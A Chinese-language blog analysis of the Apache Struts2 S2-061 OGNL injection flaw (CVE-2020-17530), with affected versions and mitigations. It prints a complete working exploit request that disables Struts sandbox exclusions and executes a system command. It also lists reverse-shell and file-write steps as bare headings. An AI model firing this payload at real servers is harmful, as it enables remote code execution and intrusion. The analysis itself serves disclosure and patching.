您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關Apache Struts2-61遠程代碼執行CVE-2020-17530漏洞的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
Apache Struts2框架是一個用于開發Java EE網絡應用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表達式注入漏洞,從而造成遠程代碼執行,風險極大。本次漏洞是對S2-059漏洞修復后的繞過。S2-059的修復補丁僅修復了沙盒繞過,但是并沒有修復OGNL表達式的執行。但是在最新版本2.5.26版本中OGNL表達式的執行也修復了。
此次漏洞只是S2-059修復的一個繞過,并且本次利用的核心類org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依賴包中并沒有包含這個包。所以即使掃到了支持OGNL表達式的注入點,但是如果沒有使用這個依賴包,也還是沒辦法進行利用。
GET /?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))} HTTP/1.1 Host: ip:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close
讀取id
寫文件
測試dnslog
反彈shell
Apache Struts 2.0.0 - 2.5.25
(1)將Apache Struts框架升級至最新版本。
(2)或者開啟ONGL表達式注入保護措施,過濾%{}表達式
(3)在部署環境時建議使用最小化部署,使用最小包進行部署,避免出現漏洞。
看完上述內容,你們對Apache Struts2-61遠程代碼執行CVE-2020-17530漏洞的示例分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。